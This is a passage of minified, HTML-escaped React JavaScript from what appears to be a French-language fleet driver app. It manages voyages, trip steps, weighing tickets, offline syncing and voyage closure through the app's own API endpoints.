Promise.all([e.refetchQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),e.refetchQueries({queryKey:[&quot;/api/driver/planned-voyages&quot;]})]),e.getQueryData([&quot;/api/driver/current-voyage&quot;])?.voyage?t({title:&quot;Nouveau voyage trouvé !&quot;,description:&quot;Un nouveau voyage a été assigné.&quot;}):t({title:&quot;Aucun nouveau voyage&quot;,description:&quot;Aucun nouveau voyage planifié n&#039;a été trouvé pour le moment.&quot;})}catch{t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de vérifier les nouveaux voyages. Veuillez réessayer.&quot;})}finally{i(!1)}},l=u=&gt;{r(`/driver/voyage/${u}?readOnly=true`)},c=u=&gt;{r(`/driver/voyage/${u}`)},d=s.length&gt;0;return a.jsxs(&quot;div&quot;,{className:&quot;p-4 pb-20 space-y-6&quot;,children:[d&amp;&amp;a.jsx(ape,{onVoyageClick:c}),!d&amp;&amp;a.jsx(it,{className:&quot;border-green-200 dark:border-green-800 bg-green-50/50 dark:bg-green-950/30&quot;,children:a.jsx(Et,{className:&quot;py-12 text-center&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-16 h-16 rounded-full bg-green-100 dark:bg-green-900 flex items-center justify-center&quot;,children:a.jsx(U0,{className:&quot;h-8 w-8 text-green-600 dark:text-green-400&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xl font-bold text-green-800 dark:text-green-200 mb-2&quot;,children:&quot;Merci pour le voyage bien terminé.&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base text-muted-foreground&quot;,children:&quot;Vous n&#039;avez plus de voyage planifié.&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base text-muted-foreground mt-1&quot;,children:&quot;Veuillez contacter le dispatch pour une nouvelle mission.&quot;})]})]})})}),a.jsx(it,{children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsx(ge,{onClick:o,disabled:n,className:&quot;w-full&quot;,variant:&quot;outline&quot;,children:n?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Vérification en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(p4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Vérifier les nouveaux voyages&quot;]})})})}),!d&amp;&amp;a.jsx(ipe,{onVoyageClick:l})]})}function Q7(){const[e]=Gi(),t=I.useMemo(()=&gt;new URLSearchParams(window.location.search).get(&quot;readOnly&quot;)===&quot;true&quot;,[e]),r=I.useMemo(()=&gt;{if(!t)return null;const He=e.match(/\/driver\/voyage\/(\d+)/);return He?parseInt(He[1],10):null},[e,t]),{data:n,isLoading:i}=cr({queryKey:[&quot;/api/voyages&quot;,r],queryFn:()=&gt;_S(r),enabled:t&amp;&amp;!!r}),{data:s,isLoading:o}=dw(t?r:null),{data:l,isLoading:c,error:d}=hy(),u=t&amp;&amp;n?n:l?.voyage,h=t&amp;&amp;n?.trips?n.trips:l?.trips,p=h?.find(He=&gt;He.status===&quot;in_progress&quot;)||h?.[0],{data:A,isLoading:y}=dw(t?null:u?.id||null),v=t?s:A,w=nfe(),{toast:j}=Er(),{isOnline:E,executeAction:S}=xy(),[_,C]=I.useState(0),[Q,R]=I.useState(!1),[T,M]=I.useState(!1),[O,$]=I.useState(!1);I.useEffect(()=&gt;{const He=async ce=&gt;{const{voyageId:Le,stepId:rt}=ce.detail;if(Le===u?.id){C(Ee=&gt;Ee+1);const{getCachedVoyageData:ie}=await On(async()=&gt;{const{getCachedVoyageData:Ee}=await Promise.resolve().then(()=&gt;FA);return{getCachedVoyageData:Ee}},void 0),ae=ie(Le);if(ae?.steps){const Ee={...ae.steps,outbound:ae.steps.outbound?{...ae.steps.outbound,steps:ae.steps.outbound.steps?.map(re=&gt;({...re}))||[]}:null,inbound:ae.steps.inbound?{...ae.steps.inbound,steps:ae.steps.inbound.steps?.map(re=&gt;({...re}))||[]}:null,_updatedAt:Date.now()};jt.setQueryData([&quot;/api/voyages&quot;,Le,&quot;etapes&quot;],Ee)}}};return window.addEventListener(&quot;offlineStepUpdated&quot;,He),()=&gt;{window.removeEventListener(&quot;offlineStepUpdated&quot;,He)}},[u?.id]);const[P,L]=I.useState(!1),[X,W]=I.useState(!1),[G,J]=I.useState(!1),[q,ee]=I.useState(!1),[ne,V]=I.useState(null),[ue,de]=I.useState(null),xe=I.useMemo(()=&gt;{const He=l?.trips?.find(rt=&gt;rt.direction===&quot;outbound&quot;);if(!He)return!1;if(He.status===&quot;completed&quot;)return!0;const ce=v?.outbound?.steps||[];return ce.length===0?!1:ce.every(rt=&gt;rt.reachedAt||rt.skippedAt)},[l?.trips,v]),{data:_e,refetch:Ce}=cr({queryKey:[&quot;/api/voyages&quot;,u?.id,&quot;has-weighing&quot;],queryFn:()=&gt;fz(u.id),enabled:!!u?.id&amp;&amp;xe&amp;&amp;E}),we=I.useMemo(()=&gt;{if(E)return _e?.hasWeighing??!1;if(u?.id)try{return jt.getQueryData([&quot;/api/voyages&quot;,u.id,&quot;has-weighing&quot;])?.hasWeighing?!0:Hl().some(rt=&gt;rt.type===&quot;weighing&quot;&amp;&amp;rt.voyageId===u.id&amp;&amp;!rt.isUnloadingWeighing)}catch{return!1}return!1},[E,_e?.hasWeighing,u?.id]),ve=I.useMemo(()=&gt;!u||u.status!==&quot;planned&quot;||t?!1:!!h?.find(ce=&gt;ce.direction===&quot;outbound&quot;&amp;&amp;(ce.status===&quot;scheduled&quot;||ce.status===&quot;pending&quot;)),[u,h,t]),Ne=_r({mutationFn:async()=&gt;{const He=await S({type:&quot;startVoyage&quot;,voyageId:u.id},()=&gt;hN(u.id),&quot;Le démarrage du voyage sera synchronisé automatiquement quand la connexion reviendra.&quot;);return typeof He==&quot;string&quot;?{message:&quot;Voyage enregistré hors ligne&quot;,voyage:{id:u.id,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()},trajet:{id:0,direction:&quot;outbound&quot;,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()}}:He},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id]}),j({title:E?&quot;Voyage démarré&quot;:&quot;Voyage enregistré hors ligne&quot;,description:E?&quot;Le voyage a commencé avec succès. Bon voyage !&quot;:&quot;Le démarrage du voyage sera synchronisé automatiquement quand la connexion reviendra.&quot;})},onError:He=&gt;{let ce=&quot;Impossible de démarrer le voyage&quot;;if(He?.message){const Le=He.message.split(&quot;: &quot;);Le.length&gt;1?ce=Le.slice(1).join(&quot;: &quot;):ce=He.message}j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ce})}}),Ie=_r({mutationFn:async()=&gt;{const He=await S({type:&quot;startReturn&quot;,voyageId:u.id},()=&gt;mN(u.id),&quot;Le démarrage du trajet RETOUR sera synchronisé automatiquement quand la connexion reviendra.&quot;);return typeof He==&quot;string&quot;?{message:&quot;Trajet RETOUR enregistré hors ligne&quot;,trajet:{id:0,direction:&quot;inbound&quot;,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()}}:He},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id]}),j({title:E?&quot;Trajet RETOUR démarré&quot;:&quot;Trajet RETOUR enregistré hors ligne&quot;,description:E?&quot;Le voyage retour a commencé avec succès.&quot;:&quot;Le démarrage du trajet RETOUR sera synchronisé automatiquement quand la connexion reviendra.&quot;})},onError:He=&gt;{let ce=&quot;Impossible de démarrer le trajet RETOUR&quot;;if(He?.message){const Le=He.message.split(&quot;: &quot;);Le.length&gt;1?ce=Le.slice(1).join(&quot;: &quot;):ce=He.message}j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ce})}}),be=h?.find(He=&gt;He.direction===&quot;inbound&quot;&amp;&amp;(He.status===&quot;scheduled&quot;||He.status===&quot;pending&quot;)),Re=h?.find(He=&gt;He.direction===&quot;inbound&quot;&amp;&amp;He.status===&quot;in_progress&quot;),Pe=h?.find(He=&gt;He.direction===&quot;inbound&quot;&amp;&amp;He.status===&quot;completed&quot;),Ke=Pe&amp;&amp;!Pe.unloadingWeighingTicketUrl,tt=I.useMemo(()=&gt;{if(!u)return!1;const He=v?.inbound?.steps||[];if(He.length===0)return!1;const ce=He.every(ae=&gt;ae.reachedAt||ae.skippedAt);if(!ce||!(Pe?.status===&quot;completed&quot;||Re&amp;&amp;ce))return!1;const rt=Pe?.unloadingWeighingTicketUrl||Re?.unloadingWeighingTicketUrl;let ie=!1;if(!E)try{ie=Hl().some(Ee=&gt;Ee.type===&quot;weighing&quot;&amp;&amp;Ee.voyageId===u.id&amp;&amp;Ee.isUnloadingWeighing===!0)}catch{}return!(!rt&amp;&amp;!ie||u.status===&quot;completed&quot;)},[u,Pe,Re,v?.inbound?.steps,E,_]),[pt,dt]=I.useState(0);I.useEffect(()=&gt;{const He=()=&gt;{try{dt(gS())}catch{dt(0)}};He();const ce=setInterval(He,1e3);return()=&gt;clearInterval(ce)},[E,_]);const Oe=I.useMemo(()=&gt;!(!tt||!E||pt&gt;0),[tt,E,pt]),Pt=_r({mutationFn:async()=&gt;{const He=await S({type:&quot;closeVoyage&quot;,voyageId:u.id},()=&gt;hz(u.id),&quot;La clôture du voyage sera synchronisée automatiquement quand la connexion reviendra.&quot;);return typeof He==&quot;string&quot;?{message:&quot;Voyage enregistré pour clôture hors ligne&quot;,voyage:{id:u.id,status:&quot;completed&quot;}}:He},onSuccess:async()=&gt;{if($(!0),u?.id){const{clearVoyageCache:He}=await On(async()=&gt;{const{clearVoyageCache:ce}=await Promise.resolve().then(()=&gt;FA);return{clearVoyageCache:ce}},void 0);He(u.id)}if(await Promise.all([jt.refetchQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u?.id]})]),jt.setQueryData([&quot;/api/driver/current-voyage&quot;],{voyage:null,trips:[],message:&quot;Aucun voyage actif&quot;}),j({title:E?&quot;✅ Voyage clôturé&quot;:&quot;✅ Voyage enregistré pour clôture hors ligne&quot;,description:E?&quot;Le voyage a été clôturé avec succès. Merci pour votre travail !&quot;:&quot;La clôture du voyage sera synchronisée automatiquement quand la connexion reviendra.&quot;}),E){const He=setInterval(()=&gt;{jt.refetchQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]})},5e3);setTimeout(()=&gt;{clearInterval(He)},12e4)}},onError:He=&gt;{let ce=&quot;Impossible de clôturer le voyage&quot;;if(He?.response?.data?.error||He?.response?.data?.message)ce=He.response.data.detail||He.response.data.error||He.response.data.message;else if(He?.message){const Le=He.message.split(&quot;: &quot;);Le.length&gt;1?ce=Le.slice(1).join(&quot;: &quot;):ce=He.message}j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ce})}});I.useEffect(()=&gt;{if(u&amp;&amp;xe&amp;&amp;!P){const He=setTimeout(()=&gt;{Ce()},1e3);return()=&gt;clearTimeout(He)}},[u,P,xe,Ce]),I.useEffect(()=&gt;{O&amp;&amp;u&amp;&amp;$(!1)},[u,O]);const Kt=u&amp;&amp;(Re||Pe||xe&amp;&amp;be)?&quot;inbound&quot;:&quot;outbound&quot;,gt=I.useMemo(()=&gt;v?.[Kt]?.steps||[],[v,Kt,_]),Jt=I.useMemo(()=&gt;v?.[Kt]?.currentStepId??null,[v,Kt,_]),Bt=I.useMemo(()=&gt;Kt===&quot;inbound&quot;&amp;&amp;be&amp;&amp;(be.status===&quot;scheduled&quot;||be.status===&quot;pending&quot;)&amp;&amp;!Re&amp;&amp;!Pe?null:Jt,[Kt,be,Re,Pe,Jt]),tr=I.useMemo(()=&gt;{let He=-1;return gt.forEach((ce,Le)=&gt;{ce.reachedAt&amp;&amp;!ce.skippedAt&amp;&amp;(He=Le)}),He},[gt,_]),sr=I.useMemo(()=&gt;xe&amp;&amp;Kt===&quot;inbound&quot;&amp;&amp;!!be&amp;&amp;(be.status===&quot;scheduled&quot;||be.status===&quot;pending&quot;)&amp;&amp;tr===-1&amp;&amp;gt.length&gt;0&amp;&amp;!Re&amp;&amp;!Pe,[xe,Kt,be,tr,gt.length,Re,Pe]),xt=I.useMemo(()=&gt;gt.length,[gt]),wt=I.useMemo(()=&gt;gt.filter(He=&gt;He.reachedAt&amp;&amp;!He.skippedAt).length,[gt]),Lt=I.useMemo(()=&gt;xt&gt;0?Math.round(wt/xt*100):0,[xt,wt]);return c&amp;&amp;!l&amp;&amp;!t||t&amp;&amp;i?a.jsx(&quot;div&quot;,{className:&quot;p-4 pb-20 flex items-center justify-center min-h-[400px]&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement du voyage...&quot;})]})}):t&amp;&amp;!n&amp;&amp;!i?a.jsx(&quot;div&quot;,{className:&quot;p-4 pb-20&quot;,children:a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12 text-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Voyage introuvable&quot;})})})}):O||!u&amp;&amp;!c&amp;&amp;l||u?.status===&quot;completed&quot;&amp;&amp;!c?a.jsx(spe,{}):a.jsxs(&quot;div&quot;,{className:&quot;p-4 pb-20 space-y-4&quot;,children:[t&amp;&amp;a.jsx(it,{className:&quot;border-orange-200 dark:border-orange-800 bg-orange-50/50 dark:bg-orange-950/30&quot;,children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 justify-center&quot;,children:[a.jsx(Hd,{className:&quot;h-5 w-5 text-orange-600 dark:text-orange-400&quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-orange-100 dark:bg-orange-900 text-orange-800 dark:text-orange-200 border-orange-300 dark:border-orange-700&quot;,children:&quot;VOYAGE CLÔTURÉ - MODE LECTURE SEULE&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-center text-muted-foreground mt-2&quot;,children:&quot;Ce voyage est terminé. Vous pouvez consulter les informations mais aucune modification n&#039;est possible.&quot;})]})}),p&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:p.direction===&quot;outbound&quot;?&quot;ALLER&quot;:&quot;RETOUR&quot;}),p.fromLabel&amp;&amp;p.toLabel&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;: &quot;,p.fromLabel,&quot; → &quot;,p.toLabel]})]}),!t&amp;&amp;Ke&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,className:&quot;border-orange-500 bg-orange-50 dark:bg-orange-950&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4 text-orange-600 dark:text-orange-400&quot;}),a.jsx(kS,{className:&quot;text-orange-800 dark:text-orange-200&quot;,children:&quot;Pesée de livraison requise&quot;}),a.jsxs(cu,{className:&quot;text-orange-700 dark:text-orange-300&quot;,children:[&quot;Le trajet RETOUR est complété, mais la pesée de livraison n&#039;est pas encore enregistrée. Vous devez enregistrer le ticket de pesée de livraison avant de pouvoir clôturer le voyage.&quot;,a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;mt-2 border-orange-300 text-orange-700 hover:bg-orange-100 dark:border-orange-700 dark:text-orange-300 dark:hover:bg-orange-900&quot;,onClick:()=&gt;L(!0),children:[a.jsx(HA,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Enregistrer la pesée de livraison&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-4&quot;,children:[a.jsx(it,{children:a.jsx(Et,{className:&quot;p-0&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded-lg overflow-hidden&quot;,children:[u.vehicle?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(u.vehicle.photoUrl),alt:u.vehicle.immatriculation||&quot;Véhicule&quot;,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center&quot;,children:a.jsx(Fa,{className:&quot;h-12 w-12 text-muted-foreground&quot;})}),u.vehicle?.immatriculation&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{className:&quot;bg-secondary text-secondary-foreground text-sm font-bold px-2 py-1&quot;,children:u.vehicle.immatriculation})})]})})}),a.jsx(it,{children:a.jsx(Et,{className:&quot;p-0&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded-lg overflow-hidden&quot;,children:[u.trailer?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(u.trailer.photoUrl),alt:u.trailer.numeroChassis||&quot;Remorque&quot;,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center&quot;,children:a.jsx(Fa,{className:&quot;h-12 w-12 text-muted-foreground&quot;})}),u.trailer?.numeroChassis?a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{className:&quot;bg-secondary text-secondary-foreground text-sm font-bold px-2 py-1&quot;,children:u.trailer.numeroChassis})}):a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{className:&quot;bg-secondary text-secondary-foreground text-sm font-bold px-2 py-1&quot;,children:&quot;Aucune&quot;})})]})})})]}),a.jsx(it,{children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-4&quot;,children:[u.mainDriver&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-1&quot;,children:[a.jsxs(Dm,{className:&quot;h-12 w-12&quot;,children:[a.jsx(Tm,{src:u.mainDriver.photoUrl?Sr(u.mainDriver.photoUrl):void 0,alt:`${u.mainDriver.prenom} ${u.mainDriver.nom}`}),a.jsxs(Rm,{children:[u.mainDriver.prenom?.[0],u.mainDriver.nom?.[0]]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;CHAUFFEUR&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:u.mainDriver.prenom})]})]}),u.additionalCrew&amp;&amp;u.additionalCrew.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-1 justify-end&quot;,children:[a.jsxs(Dm,{className:&quot;h-12 w-12&quot;,children:[a.jsx(Tm,{src:u.additionalCrew[0].photoUrl?Sr(u.additionalCrew[0].photoUrl):void 0,alt:`${u.additionalCrew[0].prenom} ${u.additionalCrew[0].nom}`}),a.jsxs(Rm,{children:[u.additionalCrew[0].prenom?.[0],u.additionalCrew[0].nom?.[0]]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col min-w-0 text-right&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;APPRENTI&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:u.additionalCrew[0].prenom})]})]})]})})}),u.loadingBonImageUrl&amp;&amp;a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;p-3 border-b&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Bon de chargement&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;relative w-full cursor-pointer&quot;,onClick:()=&gt;{V(Sr(u.loadingBonImageUrl)||u.loadingBonImageUrl),ee(!0)},children:[a.jsx(&quot;img&quot;,{src:Sr(u.loadingBonImageUrl)||u.loadingBonImageUrl,alt:&quot;Bon de chargement&quot;,className:&quot;w-full h-auto object-contain max-h-[400px]&quot;,loading:&quot;lazy&quot;}),a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 bg-black/0 hover:bg-black/10 transition-colors flex items-center justify-center&quot;,children:a.jsx(Nm,{className:&quot;h-8 w-8 text-white opacity-0 hover:opacity-100 transition-opacity&quot;})})]})]})}),!t&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-3 gap-3&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;W(!0),className:&quot;h-auto p-4 flex flex-col items-center justify-center gap-2 bg-blue-50 dark:bg-blue-950 border-blue-200 dark:border-blue-800 hover:bg-blue-100 dark:hover:bg-blue-900&quot;,children:[a.jsx(cv,{className:&quot;h-8 w-8 text-blue-600 dark:text-blue-400&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-3 h-3 bg-red-500 rounded-full flex items-center justify-center&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;w-1.5 h-1.5 bg-white rounded-full&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold text-blue-700 dark:text-blue-300&quot;,children:&quot;CARBURANT&quot;})]})]}),a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;L(!0),className:&quot;h-auto p-4 flex flex-col items-center justify-center gap-2 bg-green-50 dark:bg-green-950 border-green-200 dark:border-green-800 hover:bg-green-100 dark:hover:bg-green-900&quot;,children:[a.jsx(il,{className:&quot;h-8 w-8 text-green-600 dark:text-green-400&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(HA,{className:&quot;h-3.5 w-3.5 text-amber-700&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold text-green-700 dark:text-green-300&quot;,children:&quot;PESÉE&quot;})]})]}),a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;J(!0),className:&quot;h-auto p-4 flex flex-col items-center justify-center gap-2 bg-orange-50 dark:bg-orange-950 border-orange-200 dark:border-orange-800 hover:bg-orange-100 dark:hover:bg-orange-900&quot;,children:[a.jsx(l1,{className:&quot;h-8 w-8 text-orange-600 dark:text-orange-400&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(ew,{className:&quot;h-3.5 w-3.5 text-green-600&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold text-orange-700 dark:text-orange-300&quot;,children:&quot;FRAIS&quot;})]})]})]}),y?a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4 text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-5 w-5 animate-spin text-primary mx-auto mb-2&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement des étapes...&quot;})]})}):gt.length&gt;0?a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between mb-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsxs(&quot;h3&quot;,{className:&quot;text-sm font-semibold&quot;,children:[&quot;Étapes &quot;,Kt===&quot;outbound&quot;?&quot;ALLER&quot;:&quot;RETOUR&quot;]})]}),a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[wt,&quot;/&quot;,xt]})]}),a.jsxs(&quot;div&quot;,{className:&quot;mb-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between mb-2&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Trajet&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[wt,&quot;/&quot;,xt]})]}),a.jsx(QS,{value:Lt,className:&quot;h-2&quot;})]}),!t&amp;&amp;tt&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;mb-6 pt-4 border-t-2 border-green-300 dark:border-green-700 -mx-4 px-4 bg-green-50/50 dark:bg-green-950/30&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-base font-bold text-green-800 dark:text-green-200 mb-1&quot;,children:&quot;✅ Voyage terminé&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-green-700 dark:text-green-300&quot;,children:&quot;Toutes les étapes sont complétées et la pesée de livraison est enregistrée.&quot;})]}),Oe?a.jsx(ge,{onClick:()=&gt;{u?.id&amp;&amp;Pt.mutate()},disabled:Pt.isPending,className:&quot;w-full bg-green-600 hover:bg-green-700 text-white font-semibold py-4 text-base shadow-md&quot;,size:&quot;lg&quot;,children:Pt.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin mr-2&quot;}),&quot;Clôture en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(U0,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Clôturer le voyage&quot;]})}):a.jsxs(&quot;div&quot;,{className:&quot;w-full p-4 bg-orange-50 dark:bg-orange-950 border border-orange-200 dark:border-orange-800 rounded-lg&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 justify-center mb-2&quot;,children:[a.jsx(Kn,{className:&quot;h-5 w-5 text-orange-600 dark:text-orange-400&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-orange-800 dark:text-orange-200&quot;,children:E?pt&gt;0?`${pt} action(s) en attente de synchronisation`:&quot;Synchronisation requise&quot;:&quot;Connexion requise pour clôturer le voyage&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-orange-700 dark:text-orange-300 mb-3 text-center&quot;,children:E?pt&gt;0?&quot;Veuillez synchroniser toutes les actions en attente avant de clôturer le voyage. Utilisez le bouton &#039;Synchroniser&#039; dans l&#039;en-tête.&quot;:&quot;Veuillez attendre que toutes les données soient synchronisées.&quot;:&quot;Veuillez vous connecter à Internet pour synchroniser toutes les données avant de clôturer le voyage.&quot;}),E&amp;&amp;pt&gt;0&amp;&amp;a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:async()=&gt;{try{const{success:He,failed:ce}=await T4();He&gt;0&amp;&amp;(j({title:&quot;Synchronisation réussie&quot;,description:`${He} action(s) synchronisée(s) avec succès.`}),await new Promise(Le=&gt;setTimeout(Le,1500)),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),setTimeout(()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]})},1e3)),ce&gt;0&amp;&amp;j({variant:&quot;destructive&quot;,title:&quot;Erreur de synchronisation&quot;,description:`${ce} action(s) n&#039;ont pas pu être synchronisées.`})}catch{j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Une erreur est survenue lors de la synchronisation.&quot;})}},className:&quot;w-full border-orange-300 text-orange-700 hover:bg-orange-100 dark:border-orange-700 dark:text-orange-300 dark:hover:bg-orange-900&quot;,children:[a.jsx(lv,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Synchroniser maintenant (&quot;,pt,&quot;)&quot;]})]})]})}),a.jsx(Lfe,{steps:gt,currentStepId:Bt,lastReachedIndex:tr,readOnly:t,onReachStep:async He=&gt;{if(!t&amp;&amp;u?.id)if(E)w.mutate({voyageId:u.id,stepId:He},{onSuccess:async ce=&gt;{xe&amp;&amp;Ce()},onError:ce=&gt;{}});else try{typeof await S({type:&quot;reachStep&quot;,voyageId:u.id,stepId:He},()=&gt;uw(u.id,He),&quot;L&#039;étape sera validée automatiquement quand la connexion reviendra.&quot;)==&quot;string&quot;&amp;&amp;(rfe(u.id,He)&amp;&amp;window.dispatchEvent(new CustomEvent(&quot;offlineStepUpdated&quot;,{detail:{voyageId:u.id,stepId:He}})),xe&amp;&amp;Ce(),j({title:&quot;Étape enregistrée hors ligne&quot;,description:&quot;L&#039;étape sera validée automatiquement quand la connexion reviendra.&quot;}))}catch{j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;enregistrer l&#039;étape hors ligne.&quot;})}},isLoading:w.isPending,onStartVoyage:async()=&gt;{if(u?.id)if(E)Ne.mutate();else{R(!0);try{if(typeof await S({type:&quot;startVoyage&quot;,voyageId:u.id},()=&gt;hN(u.id),&quot;Le démarrage du voyage sera synchronisé automatiquement quand la connexion 